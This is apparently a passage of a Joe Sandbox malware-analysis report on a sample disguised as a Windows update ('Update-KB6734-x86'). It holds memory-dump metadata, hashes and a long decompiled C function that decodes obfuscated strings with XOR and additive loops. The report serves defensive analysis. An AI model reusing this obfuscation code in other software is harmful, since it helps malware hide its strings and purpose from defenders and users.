Z, xrefs: 0040D245
M, xrefs: 0040D30E
_, xrefs: 0040D2BD
4, xrefs: 0040D7AC
t, xrefs: 0040D235
i, xrefs: 0040D1CD
3, xrefs: 0040D19D
!, xrefs: 0040D774
j, xrefs: 0040CB78
<, xrefs: 0040D6DC
\, xrefs: 0040D018
8, xrefs: 0040D7B4
2, xrefs: 0040D344
:, xrefs: 0040D6F4
0, xrefs: 0040D3BA
1, xrefs: 0040D2D9
P, xrefs: 0040D1B5
<, xrefs: 0040D794
4, xrefs: 0040D74C
4, xrefs: 0040D195
E, xrefs: 0040D265
_, xrefs: 0040CFC9
&, xrefs: 0040D7DB

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: lstrlen
String ID: !$!$!$!$!$!$"$#$%$%$&$&$&$&u#&$'$'$'$($+$+$--%s$--%s--$.$.$/$/$0$0$0$0$0$1$2$3$3$4$4$4$4$4$5$5$6$7$8$8$8$8$8$9$9$9$:$:$:$:$:$<$<$<$<$<$=$>$?$@$A$A$E$E$E$F$K$M$P$P$Q$Q$T$U$U$W$X$X$Z$[$[$\$\$]$_$_$_$_$`$`$c$d$e$f$g$g$h$i$i$i$j$k$m$n$n$n$n$o$q$t$t$u$u$w$w$w$x$x$x
API String ID: 1659193697-105764249
Opcode ID: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
Instruction ID: 76a2d0d3a120653ea146fb598d041ca30ec9760fe042aa55d2c4b689ffa964e7
Opcode Fuzzy Hash: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
Instruction Fuzzy Hash: 40A2072110C7C1D9D332C738988878FBFD51BA7228F485B9DE1E85A2D2D7B98149C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00409119, Relevance: 187.4, Strings: 149, Instructions: 1189
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00409119(void* __eax, char __ebx, char __ecx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, char _a372, char _a373, char _a374, char _a375, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a553, char _a554, char _a555, char _a556, char _a557, char _a558, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a669, char _a670, char _a671, char _a672, char _a673, char _a674, char _a675, char _a676, char _a680, char _a681, char _a682, char _a683, char _a684, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a718, char _a719, char _a720, char _a721, char _a728, char _a729, char _a730, char _a731, char _a732, char _a733, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t1007;
				signed int _t1008;
				void* _t1009;
				intOrPtr _t1014;
				intOrPtr _t1015;
				void* _t1016;
				void* _t1017;
				void* _t1018;
				void* _t1019;
				intOrPtr _t1021;
				void* _t1022;
				intOrPtr _t1023;
				void* _t1024;
				void* _t1025;
				void* _t1027;
				void* _t1028;
				void* _t1029;
				intOrPtr _t1030;
				void* _t1031;
				void* _t1034;
				void* _t1035;
				void* _t1036;
				void* _t1040;
				void* _t1044;
				intOrPtr _t1046;
				intOrPtr _t1047;
				void* _t1048;
				void* _t1049;
				void* _t1050;
				intOrPtr _t1052;
				intOrPtr _t1058;
				void* _t1059;
				void* _t1060;
				intOrPtr _t1061;
				void* _t1062;
				void* _t1063;
				void* _t1064;
				void* _t1065;
				intOrPtr _t1067;
				void* _t1068;
				void* _t1073;
				intOrPtr _t1076;
				intOrPtr _t1077;
				void* _t1078;
				void* _t1079;
				intOrPtr _t1082;
				void* _t1086;
				char _t1087;
				intOrPtr _t1124;
				void* _t1164;
				intOrPtr _t1265;
				intOrPtr _t1267;
				signed int _t1268;
				intOrPtr _t1270;
				void* _t1272;
				void* _t1273;
				void* _t1274;
				void* _t1275;
				void* _t1276;
				void* _t1277;
				void* _t1279;
				void* _t1280;
				void* _t1281;
				void* _t1282;
				void* _t1283;

				_t1007 = __eax;
				do {
					 *(_t1272 + _t1007 + 0x1c0) =  *(_t1272 + _t1007 + 0x1c0) ^  *(_t1272 + _t1007 + 0x17c);
					_t1007 = _t1007 + 1;
				} while (_t1007 < 5);
				_a552 = 0x3e;
				_a553 = 0x24;
				_a554 = 0x13;
				_a555 = 0xb8;
				_a556 = 0xa5;
				_a557 = 0xef;
				_a558 = 0xb3;
				_a380 = 0x35;
				_a381 = __ecx;
				_a382 = 0x50;
				_a383 = 0xbd;
				_a384 = 0xcd;
				_a385 = 0x76;
				_a386 = 0x4d;
				_t1008 = 0;
				do {
					 *((char*)(_t1272 + _t1008 + 0x228)) =  *((intOrPtr*)(_t1272 + _t1008 + 0x228)) +  *((intOrPtr*)(_t1272 + _t1008 + 0x17c));
					_t1008 = _t1008 + 1;
				} while (_t1008 < 7);
				_a668 = 0x21;
				_a669 = 0xb0;
				_a670 = 0x48;
				_a671 = 0x45;
				_a672 = 0x79;
				_a673 = 0xc0;
				_a674 = 0xe0;
				_a675 = 0x7f;
				_a676 = 0x3d;
				_a380 = 0x48;
				_a381 = 0xd3;
				_a382 = 0x3a;
				_a383 = 0x2a;
				_a384 = 0xa;
				_a385 = 0xaf;
				_a386 = 0x86;
				_a387 = 0xb;
				_a388 = 0x3d;
				_t1009 = 0;
				do {
					 *(_t1272 + _t1009 + 0x29c) =  *(_t1272 + _t1009 + 0x29c) ^  *(_t1272 + _t1009 + 0x17c);
					_t1009 = _t1009 + 1;
				} while (_t1009 < 9);
				_a680 = 0xfd;
				_a681 = 0xbf;
				_a682 = 0x39;
				_a683 = 0xaa;
				_a684 = 0xaa;
				_a380 = 0xaa;
				_a381 = 0xda;
				_a382 = 0x4a;
				_a383 = 0xde;
				_a384 = 0x96;
				_a68 = E004073E0( &_a380, 5,  &_a680);
				_a716 = 0xfd;
				_a717 = 0xfa;
				_a718 = 0xf2;
				_a719 = 0xc2;
				_a720 = 0x5c;
				_a721 = 0xa2;
				_a376 = 0xa2;
				_a377 = 0x24;
				_a378 = __ebx;
				_a379 = 0x9c;
				_a380 = 0x93;
				_a381 = 0x91;
				_t1014 = E004073E0( &_a376, 6,  &_a716);
				_push(6);
				_push( &_a728);
				_a104 = _t1014;
				_a728 = 0x90;
				_a729 = 0xec;
				_a730 = 0xd;
				_a731 = 3;
				_a732 = 3;
				_a733 = 0x7d;
				_a372 = 0x60;
				_a373 = 0xc;
				_a374 = 0x63;
				_a375 = 0;
				_a376 = 0x61;
				_a377 = 0xd;
				_t1015 = E00407370( &_a372);
				_t1273 = _t1272 + 8;
				_a72 = _t1015;
				_a448 = 0x27;
				_a449 = 0x70;
				_a450 = 0x19;
				_a451 = 0x4e;
				_a452 = 0xbb;
				_a372 = 0x49;
				_a373 = 0x15;
				_a374 = 0x6e;
				_a375 = 0x3d;
				_a376 = 0xbb;
				_t1016 = 0;
				do {
					 *(_t1273 + _t1016 + 0x1c8) =  *(_t1273 + _t1016 + 0x1c8) ^  *(_t1273 + _t1016 + 0x17c);
					_t1016 = _t1016 + 1;
				} while (_t1016 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t1017 = 0;
				do {
					 *(_t1273 + _t1017 + 0x208) =  *(_t1273 + _t1017 + 0x208) ^  *(_t1273 + _t1017 + 0x17c);
					_t1017 = _t1017 + 1;
				} while (_t1017 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t1018 = 0;
				do {
					 *(_t1273 + _t1018 + 0x1e8) =  *(_t1273 + _t1018 + 0x1e8) ^ 0x00000084;
					_t1018 = _t1018 + 1;
				} while (_t1018 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
				_a595 = 0xa6;
				_a596 = 0xb3;
				_a597 = 0xaf;
				_a598 = 0xba;
				_a599 = 0xc3;
				_t1019 = 0;
				do {
					 *(_t1273 + _t1019 + 0x250) =  *(_t1273 + _t1019 + 0x250) ^ 0x000000c3;
					_t1019 = _t1019 + 1;
				} while (_t1019 < 8);
				_push(8);
				_push( &_a784);
				_a784 = 0x63;
				_a785 = 0xe4;
				_a786 = 0x61;
				_a787 = 0x26;
				_a788 = 0xb9;
				_a789 = 0xf7;
				_a790 = 0xbd;
				_a791 = 0xf3;
				_a380 = 0x64;
				_a381 = 0x17;
				_a382 = 0x76;
				_a383 = 0x1b;
				_a384 = 0x6b;
				_a385 = 7;
				_a386 = 0x62;
				_a387 = 0x11;
				_t1021 = E00407370( &_a380);
				_t1274 = _t1273 + 8;
				_a120 = _t1021;
				_a416 = 0x35;
				_a417 = 0x6a;
				_a418 = 0x1d;
				_a419 = 0xe8;
				_a420 = 0x88;
				_a380 = 0x46;
				_a381 = 0x1a;
				_a382 = 0x7c;
				_a383 = 0x85;
				_a384 = 0x88;
				_t1022 = 0;
				do {
					 *(_t1274 + _t1022 + 0x1a0) =  *(_t1274 + _t1022 + 0x1a0) ^  *(_t1274 + _t1022 + 0x17c);
					_t1022 = _t1022 + 1;
				} while (_t1022 < 5);
				_push(7);
				_push( &_a752);
				_a752 = 0xab;
				_a753 = 0x67;
				_a754 = 0xda;
				_a755 = 0x4a;
				_a756 = 0xa1;
				_a757 = 0xf2;
				_a758 = 0x69;
				_a380 = 0x3c;
				_a381 = 0x49;
				_a382 = 0x39;
				_a383 = 0x5d;
				_a384 = 0x3c;
				_a385 = 0x48;
				_a386 = 0x2d;
				_t1023 = E00407370( &_a380);
				_t1275 = _t1274 + 8;
				_a88 = _t1023;
				_a400 = 0x17;
				_a401 = 4;
				_a402 = 0xdd;
				_a403 = 0xdb;
				_a404 = 0x3c;
				_a380 = 0x29;
				_a381 = 0x5d;
				_a382 = 0x99;
				_a383 = 0x95;
				_a384 = 0xc4;
				_t1024 = 0;
				do {
					 *((char*)(_t1275 + _t1024 + 0x190)) =  *((intOrPtr*)(_t1275 + _t1024 + 0x190)) +  *((intOrPtr*)(_t1275 + _t1024 + 0x17c));
					_t1024 = _t1024 + 1;
				} while (_t1024 < 5);
				_a432 = 4;
				_a433 = 0x87;
				_a434 = 0xf7;
				_a435 = 0xd4;
				_a436 = 0x19;
				_a380 = 0x44;
				_a381 = 0xe1;
				_a382 = 0x98;
				_a383 = 0xbb;
				_a384 = 0x19;
				_t1025 = 0;
				do {
					 *(_t1275 + _t1025 + 0x1b0) =  *(_t1275 + _t1025 + 0x1b0) ^  *(_t1275 + _t1025 + 0x17c);
					_t1025 = _t1025 + 1;
				} while (_t1025 < 5);
				_a617 = 0x53;
				_a621 = 0x53;
				_a616 = 0x29;
				_a618 = 0xf6;
				_a619 = 0x3e;
				_a620 = 0xc8;
				_a622 = 0x8b;
				_a623 = 0xa2;
				_a380 = 0x48;
				_a381 = 0x3d;
				_a382 = 0x8f;
				_a383 = 0x51;
				_a384 = 0xa6;
				_a385 = 0x36;
				_a386 = 0xcb;
				_a387 = 0xa2;
				_t1027 = 0;
				do {
					 *(_t1275 + _t1027 + 0x268) =  *(_t1275 + _t1027 + 0x268) ^  *(_t1275 + _t1027 + 0x17c);
					_t1027 = _t1027 + 1;
				} while (_t1027 < 8);
				_a24 = 0x88;
				_a25 = 0x99;
				_a26 = 0x8e;
				_a27 = 0xea;
				_t1028 = 0;
				do {
					 *(_t1275 + _t1028 + 0x18) =  *(_t1275 + _t1028 + 0x18) ^ 0x000000ea;
					_t1028 = _t1028 + 1;
				} while (_t1028 < 4);
				_a472 = 0xd;
				_a473 = 0x1a;
				_a474 = 8;
				_a475 = 0x1c;
				_a476 = 0x2f;
				_a477 = 0x6f;
				_t1029 = 0;
				do {
					 *(_t1275 + _t1029 + 0x1d8) =  *(_t1275 + _t1029 + 0x1d8) ^ 0x0000006f;
					_t1029 = _t1029 + 1;
				} while (_t1029 < 6);
				_push(6);
				_push( &_a712);
				_a712 = 0x49;
				_a713 = 0xc5;
				_a714 = 0x38;
				_a715 = 0xa9;
				_a716 = 0x2d;
				_a717 = 0xd6;
				_a380 = 0xde;
				_a381 = 0xbd;
				_a382 = 0xdc;
				_a383 = 0xba;
				_a384 = 0xdf;
				_a385 = 0xba;
				_t1030 = E00407370( &_a380);
				_t1276 = _t1275 + 8;
				_a128 = _t1030;
				_a656 = 0x47;
				_a657 = 0x33;
				_a658 = 0x6c;
				_a659 = 7;
				_a660 = 0x66;
				_a661 = 0x81;
				_a662 = 0xfd;
				_a663 = 0xe8;
				_a664 = 0x5b;
				_a380 = 0x24;
				_a381 = 0x56;
				_a382 = 0x1e;
				_a383 = 0x73;
				_a384 = 0xf;
				_a385 = 0xe7;
				_a386 = 0x94;
				_a387 = 0x8b;
				_a388 = 0x5b;
				_t1031 = 0;
				do {
					 *(_t1276 + _t1031 + 0x290) =  *(_t1276 + _t1031 + 0x290) ^  *(_t1276 + _t1031 + 0x17c);
					_t1031 = _t1031 + 1;
				} while (_t1031 < 9);
				_a844 = 0x25;
				_a845 = 0x4b;
				_a846 = 0xfd;
				_a847 = 0x36;
				_a848 = 0x86;
				_a849 = 0xac;
				_a850 = 0x3c;
				_a851 = 0;
				_a852 = 0xc3;
				_a853 = 0x49;
				_a380 = 0x49;
				_a381 = 0x83;
				_a382 = 0x74;
				_a383 = 0x5f;
				_a384 = 0xcd;
				_a385 = 0xf4;
				_a386 = 0x42;
				_a387 = 0x93;
				_a388 = 0x24;
				_a389 = 0x46;
				_a44 = E004073E0( &_a380, 0xa,  &_a844);
				_a476 = 0xda;
				_a477 = 0x71;
				_a478 = 0x65;
				_a479 = 0x2a;
				_a480 = 0xe4;
				_a481 = 0x15;
				_a376 = 0x8e;
				_a377 = 0xf4;
				_a378 = 7;
				_a379 = 0x46;
				_a380 = 0x5c;
				_a381 = 0xeb;
				_t1034 = 0;
				do {
					 *((char*)(_t1276 + _t1034 + 0x1e0)) =  *((intOrPtr*)(_t1276 + _t1034 + 0x1e0)) +  *((intOrPtr*)(_t1276 + _t1034 + 0x17c));
					_t1034 = _t1034 + 1;
				} while (_t1034 < 6);
				_a496 = 0xe4;
				_a497 = 0xb1;
				_a498 = 0xf5;
				_a499 = 0x81;
				_a500 = 0x8f;
				_a501 = 0x5f;
				_a380 = 0x85;
				_a381 = 0xbd;
				_a382 = 0x71;
				_a383 = 0xee;
				_a384 = 0xb1;
				_a385 = 0xa1;
				_t1035 = 0;
				do {
					 *((char*)(_t1276 + _t1035 + 0x1f0)) =  *((intOrPtr*)(_t1276 + _t1035 + 0x1f0)) +  *((intOrPtr*)(_t1276 + _t1035 + 0x17c));
					_t1035 = _t1035 + 1;
				} while (_t1035 < 6);
				_a512 = 0x31;
				_a513 = 0xec;
				_a514 = 0xde;
				_a515 = 0x4b;
				_a516 = 0xe6;
				_a517 = 0x37;
				_a380 = 0x3f;
				_a381 = 0x75;
				_a382 = 0x90;
				_a383 = 0x19;
				_a384 = 0x7b;
				_a385 = 0xc9;
				_t1036 = 0;
				do {
					 *((char*)(_t1276 + _t1036 + 0x200)) =  *((intOrPtr*)(_t1276 + _t1036 + 0x200)) +  *((intOrPtr*)(_t1276 + _t1036 + 0x17c));
					_t1036 = _t1036 + 1;
				} while (_t1036 < 6);
				_a35 = 0xf0;
				_a392 = 0xf0;
				_a32 = 0x35;
				_a33 = 0x9d;
				_a34 = 0xdc;
				_a393 = 0xac;
				_a394 = 0xfa;
				_a395 = 0x45;
				_a96 = E004073E0( &_a392, 4,  &_a32);
				_a564 = 0x28;
				_a565 = 0x3b;
				_a566 = 0x2e;
				_a567 = 0x33;
				_a568 = 0x34;
				_a569 = 0x3d;
				_a570 = 0x5a;
				_t1040 = 0;
				do {
					 *(_t1276 + _t1040 + 0x238) =  *(_t1276 + _t1040 + 0x238) ^ 0x0000005a;
					_t1040 = _t1040 + 1;
				} while (_t1040 < 7);
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, 5,  &_a704);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t1044 = 0;
				do {
					 *(_t1276 + _t1044 + 0x198) =  *(_t1276 + _t1044 + 0x198) ^  *(_t1276 + _t1044 + 0x17c);
					_t1044 = _t1044 + 1;
				} while (_t1044 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t1046 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t1046;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t1047 = E00407370( &_a380);
				_t1277 = _t1276 + 0x10;
				_a124 = _t1047;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t1048 = 0;
				do {
					 *(_t1277 + _t1048 + 0x270) =  *(_t1277 + _t1048 + 0x270) ^ 0x000000df;
					_t1048 = _t1048 + 1;
				} while (_t1048 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t1049 = 0;
				do {
					 *(_t1277 + _t1049 + 0x260) =  *(_t1277 + _t1049 + 0x260) ^ 0x0000002e;
					_t1049 = _t1049 + 1;
				} while (_t1049 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t1050 = 0;
				do {
					 *((char*)(_t1277 + _t1050 + 0x1a8)) =  *((intOrPtr*)(_t1277 + _t1050 + 0x1a8)) +  *((intOrPtr*)(_t1277 + _t1050 + 0x17c));
					_t1050 = _t1050 + 1;
				} while (_t1050 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t1052 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t1052;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t1058 = E00407370( &_a376);
				_t1279 = _t1277 + 0x18;
				_a72 = _t1058;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t1059 = 0;
				do {
					 *(_t1279 + _t1059 + 0x258) =  *(_t1279 + _t1059 + 0x258) ^  *(_t1279 + _t1059 + 0x17c);
					_t1059 = _t1059 + 1;
				} while (_t1059 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t1060 = 0;
				do {
					 *(_t1279 + _t1060 + 0x248) =  *(_t1279 + _t1060 + 0x248) ^ 0x00000083;
					_t1060 = _t1060 + 1;
				} while (_t1060 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t1061 = E00407370( &_a380);
				_t1280 = _t1279 + 8;
				_a84 = _t1061;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t1062 = 0;
				do {
					 *(_t1280 + _t1062 + 0x278) =  *(_t1280 + _t1062 + 0x278) ^  *(_t1280 + _t1062 + 0x17c);
					_t1062 = _t1062 + 1;
				} while (_t1062 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t1063 = 0;
				do {
					 *(_t1280 + _t1063 + 0x288) =  *(_t1280 + _t1063 + 0x288) ^  *(_t1280 + _t1063 + 0x17c);
					_t1063 = _t1063 + 1;
				} while (_t1063 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t1064 = 0;
				do {
					 *((char*)(_t1280 + _t1064 + 0x210)) =  *((intOrPtr*)(_t1280 + _t1064 + 0x210)) +  *((intOrPtr*)(_t1280 + _t1064 + 0x17c));
					_t1064 = _t1064 + 1;
				} while (_t1064 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t1065 = 0;
				do {
					 *(_t1280 + _t1065 + 0x1f8) =  *(_t1280 + _t1065 + 0x1f8) ^  *(_t1280 + _t1065 + 0x17c);
					_t1065 = _t1065 + 1;
				} while (_t1065 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
